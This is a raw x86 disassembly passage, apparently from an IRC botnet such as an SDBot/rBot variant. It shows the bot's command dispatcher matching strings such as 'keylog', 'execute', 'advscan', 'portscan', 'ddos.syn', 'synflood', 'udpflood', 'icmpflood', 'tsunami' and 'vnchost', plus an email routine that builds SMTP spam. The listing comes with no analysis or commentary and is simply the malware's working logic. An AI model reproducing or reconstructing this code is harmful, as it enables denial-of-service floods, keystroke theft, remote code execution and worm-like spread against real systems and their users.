loc_405CE1:				; CODE XREF: sub_401ACD+4208j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E40], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E3C], eax
		jnz	short loc_405D23
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D23
		mov	esi, [ebp+var_88]


loc_405D23:				; CODE XREF: sub_401ACD+4238j
					; sub_401ACD+424Ej
		push	esi
		lea	eax, [ebp+var_EC4]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B564
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_E44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC8]
		push	ebx
		push	eax
		push	offset sub_4131EC
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04ABh
		mov	ecx, [ebp+var_E44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_405DA6


loc_405D90:				; CODE XREF: sub_401ACD+42D7j
		cmp	[ebp+var_E38], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_405D90
; ---------------------------------------------------------------------------


loc_405DA6:				; CODE XREF: sub_401ACD+42C1j
		call	near ptr 26A0CA7h
		nop
		push	eax
		push	offset unk_42B528
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405DB7:				; CODE XREF: sub_401ACD+41F8j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	21h
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DE5
		push	eax
		push	offset unk_42B4EC
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405DE5:				; CODE XREF: sub_401ACD+430Bj
		push	offset unk_42B4C0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405DEF:				; CODE XREF: sub_401ACD+41E3j
		push	[ebp+arg_8]
		push	offset aIdent	; "ident"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EC2
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E8A
		push	2
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405E2D
		push	offset dword_42B498
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405E2D:				; CODE XREF: sub_401ACD+4354j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B46C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_410BFD
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04ABh
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	loc_4081AD
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset dword_42B438
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405E8A:				; CODE XREF: sub_401ACD+4348j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	2
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405EB8
		push	eax
		push	offset dword_42B400
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405EB8:				; CODE XREF: sub_401ACD+43DEj
		push	offset dword_42B3E0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405EC2:				; CODE XREF: sub_401ACD+4333j
		push	[ebp+arg_8]
		push	offset aKeyloger ; "keyloger"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D24
		push	[ebp+arg_8]
		push	offset aKeylog	; "keylog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D24
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CFB
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CFB
		push	[ebp+arg_8]
		push	offset aNet	; "net"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40616D
		cmp	dword_4CBAA4, ebx
		jz	short loc_405F4F
		cmp	dword_4CBACC, ebx
		jz	short loc_405F4F
		push	offset unk_42B388
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405F4F:				; CODE XREF: sub_401ACD+446Ej
					; sub_401ACD+4476j
		cmp	[ebp+var_C], ebx
		jz	loc_406BFE
		mov	eax, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_405F77
		push	eax
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_405F77:				; CODE XREF: sub_401ACD+449Aj
		push	edi
		push	offset aStart	; "start"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FC3
		cmp	[ebp+arg_18], ebx
		jz	short loc_405F97
		push	[ebp+arg_0]
		push	3
		jmp	loc_406021
; ---------------------------------------------------------------------------


loc_405F97:				; CODE XREF: sub_401ACD+44BEj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418EA8
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405FB9
		push	offset unk_42B35C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405FB9:				; CODE XREF: sub_401ACD+44E0j
		push	offset unk_42B33C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405FC3:				; CODE XREF: sub_401ACD+44B9j
		push	edi
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FDB
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_405FDB:				; CODE XREF: sub_401ACD+4505j
		push	edi
		push	offset aPause	; "pause"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FF3
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_405FF3:				; CODE XREF: sub_401ACD+451Dj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40600B
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_40600B:				; CODE XREF: sub_401ACD+4535j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406033
		push	[ebp+arg_0]
		push	1


loc_406021:				; CODE XREF: sub_401ACD+44C5j
					; sub_401ACD+450Cj ...
		call	sub_418C0E
		pop	ecx
		pop	ecx


loc_406028:				; CODE XREF: sub_401ACD+459Fj
					; sub_401ACD+4628j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_406033:				; CODE XREF: sub_401ACD+454Dj
		push	edi
		push	offset aShare	; "share"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40609B
		cmp	[ebp+arg_18], ebx
		jz	short loc_40606E
		cmp	[ebp+var_8FC], bl
		jz	short loc_406059
		push	ebx
		push	[ebp+arg_18]
		push	1
		jmp	short loc_406064
; ---------------------------------------------------------------------------


loc_406059:				; CODE XREF: sub_401ACD+4582j
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	ebx


loc_406064:				; CODE XREF: sub_401ACD+458Aj
		call	sub_418FE5
		add	esp, 0Ch
		jmp	short loc_406028
; ---------------------------------------------------------------------------


loc_40606E:				; CODE XREF: sub_401ACD+457Aj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4191DB
		add	esp, 10h
		test	eax, eax
		jz	short loc_406091
		push	offset unk_42B2FC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406091:				; CODE XREF: sub_401ACD+45B8j
		push	offset unk_42B2DC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40609B:				; CODE XREF: sub_401ACD+4575j
		push	edi
		push	offset aUser	; "user"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406127
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4060FA
		cmp	[ebp+var_8FC], bl
		jz	short loc_4060CD
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_4060ED
; ---------------------------------------------------------------------------


loc_4060CD:				; CODE XREF: sub_401ACD+45ECj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4060E9
		push	esi
		push	eax
		push	ebx
		jmp	short loc_4060ED
; ---------------------------------------------------------------------------


loc_4060E9:				; CODE XREF: sub_401ACD+4615j
		push	ebx
		push	eax
		push	2


loc_4060ED:				; CODE XREF: sub_401ACD+45FEj
					; sub_401ACD+461Aj
		call	sub_4192FC
		add	esp, 18h
		jmp	loc_406028
; ---------------------------------------------------------------------------


loc_4060FA:				; CODE XREF: sub_401ACD+45E4j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41982C
		add	esp, 10h
		test	eax, eax
		jz	short loc_40611D
		push	offset unk_42B2BC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40611D:				; CODE XREF: sub_401ACD+4644j
		push	offset unk_42B29C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406127:				; CODE XREF: sub_401ACD+45DDj
		push	edi
		push	offset aSend	; "send"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406163
		cmp	[ebp+arg_18], ebx
		jz	short loc_406159
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419AE0
		add	esp, 10h
		jmp	loc_406028
; ---------------------------------------------------------------------------


loc_406159:				; CODE XREF: sub_401ACD+466Ej
		push	offset unk_42B270
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406163:				; CODE XREF: sub_401ACD+4669j
		push	offset unk_42B254
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40616D:				; CODE XREF: sub_401ACD+4462j
		push	[ebp+arg_8]
		push	offset aGethost	; "gethost"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D
		push	[ebp+arg_8]
		push	offset aGh	; "gh"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D


loc_40619B:				; CODE XREF: sub_401ACD+3C8Fj
					; sub_401ACD+3CC5j ...
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBE
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBE
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B6D
		push	[ebp+arg_8]
		push	offset dword_42B938
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B6D
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B04
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B04
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9E
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9E
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A64
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A64
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F6
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F6
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408971
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408971
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408900
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408900
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DA
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DA
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887A
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887A
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40877F
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40877F
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AA
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AA
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085A5
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085A5
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aHadeth3	; "HADETH3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408379
		push	[ebp+arg_8]
		push	offset aHadeth3	; "HADETH3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408379
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082E6
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082E6
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081D7
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081D7
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408160
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408160
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408063
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408063
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F7B
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F7B
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4066AE
		push	7Fh
		lea	eax, [ebp+var_3280]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3200]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3180]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3100]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3078],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_307C],	edi
		mov	[ebp+var_3284],	esi
		call	sub_40B3BA
		add	esp, 3Ch
		mov	[ebp+var_3080],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3284]
		push	ebx
		push	eax
		push	offset word_41525A
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04ABh
		mov	ecx, [ebp+var_3080]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40669D


loc_406687:				; CODE XREF: sub_401ACD+4BCEj
		cmp	[ebp+var_3074],	ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_406687
; ---------------------------------------------------------------------------


loc_40669D:				; CODE XREF: sub_401ACD+4BB8j
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset unk_42B0E0
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_4066AE:				; CODE XREF: sub_401ACD+4B0Ej
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D9A
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D9A
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067DB
		push	7Fh
		lea	eax, [ebp+var_36A8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3628]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_35A8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3528]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A4],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_34A0],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_36AC],	esi
		push	edi
		push	offset dword_42B098
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_34A8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36AC]
		push	ebx
		push	eax
		push	offset word_4141B2
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04ABh
		mov	ecx, [ebp+var_34A8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4067CA


loc_4067B4:				; CODE XREF: sub_401ACD+4CFBj
		cmp	[ebp+var_349C],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 26A044Bh
		jmp	short loc_4067B4
; ---------------------------------------------------------------------------


loc_4067CA:				; CODE XREF: sub_401ACD+4CE5j
		call	near ptr 26A0CA7h
		nop
		push	eax
		push	offset dword_42B05C
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_4067DB:				; CODE XREF: sub_401ACD+4C20j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB2
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB2
		push	[ebp+arg_8]
		push	offset aNazel3	; "NAZEL3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B74
		push	[ebp+arg_8]
		push	offset aNazel3	; "NAZEL3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B74
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A77
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A77
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407984
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407984
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407887
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407887
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407797
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407797
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407691
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407691
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B6
		push	[ebp+arg_8]
		push	offset aAd	; "ad"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B6
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5F
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5F
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aVnchost	; "vnchost"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406A5A
		push	edi
		call	sub_41B52C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_401F75
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		jmp	loc_4040AB
; ---------------------------------------------------------------------------


loc_406A5A:				; CODE XREF: sub_401ACD+4F56j
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C8E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C8E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406C36
		lea	eax, [ebp+var_46F0]
		push	edi
		push	eax
		call	sub_41C890
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_438C]
		push	eax
		call	sub_41C890
		push	[ebp+arg_10]
		lea	eax, [ebp+var_458C]
		push	eax
		call	sub_41C890
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	[ebp+esi+var_7C]
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		call	sub_41C890
		add	esp, 30h
		lea	eax, [ebp+var_528C]
		push	eax
		push	101h
		call	dword_4CB944
		lea	eax, [ebp+var_46F0]
		push	eax
		call	dword_4CBA58
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CBA54
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CB9D4
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_458C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_568C]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
